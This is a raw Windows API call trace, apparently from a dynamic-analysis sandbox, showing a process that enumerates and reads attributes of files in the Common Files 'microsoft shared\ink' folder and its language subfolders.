	[0242.332] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00)) returned 1
	[0242.337] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400)) returned 1
	[0242.343] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00)) returned 1
	[0242.344] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.393] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070dff788, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070dff788*=0x120) returned 1
	[0242.394] SuspendThread (hThread=0x120) returned 0x0
	[0242.394] GetThreadContext (in: hThread=0x120, lpContext=0x7070dff7a0 | out: lpContext=0x7070dff7a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0004d1d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.400] ResumeThread (hThread=0x120) returned 0x1
	[0242.400] CloseHandle (hObject=0x120) returned 1
	[0242.400] SwitchToThread () returned 1
	[0242.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0xc00020f548 | out: lpFindFileData=0xc00020f548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.485] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebd40000
	[0242.485] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc00020f578 | out: lpFindFileData=0xc00020f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.485] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc00020f578 | out: lpFindFileData=0xc00020f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1
	[0242.486] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc00020f578 | out: lpFindFileData=0xc00020f578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.486] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.486] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0242.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), fInfoLevelId=0x0, lpFileInformation=0xc00020f6b8 | out: lpFileInformation=0xc00020f6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb)) returned 1
	[0242.491] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0) returned 0
	[0242.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), fInfoLevelId=0x0, lpFileInformation=0xc00020f790 | out: lpFileInformation=0xc00020f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000)) returned 1
	[0242.499] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0242.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00020f790 | out: lpFileInformation=0xc00020f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200)) returned 1
	[0242.507] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0242.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), fInfoLevelId=0x0, lpFileInformation=0xc00020f790 | out: lpFileInformation=0xc00020f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400)) returned 1
	[0242.529] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0242.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00020f790 | out: lpFileInformation=0xc00020f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780)) returned 1
	[0242.537] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0242.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400)) returned 1
	[0242.552] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0242.553] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.553] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.554] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.554] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0242.554] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0242.571] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0242.573] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.573] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.573] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.573] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0242.573] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0242.574] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
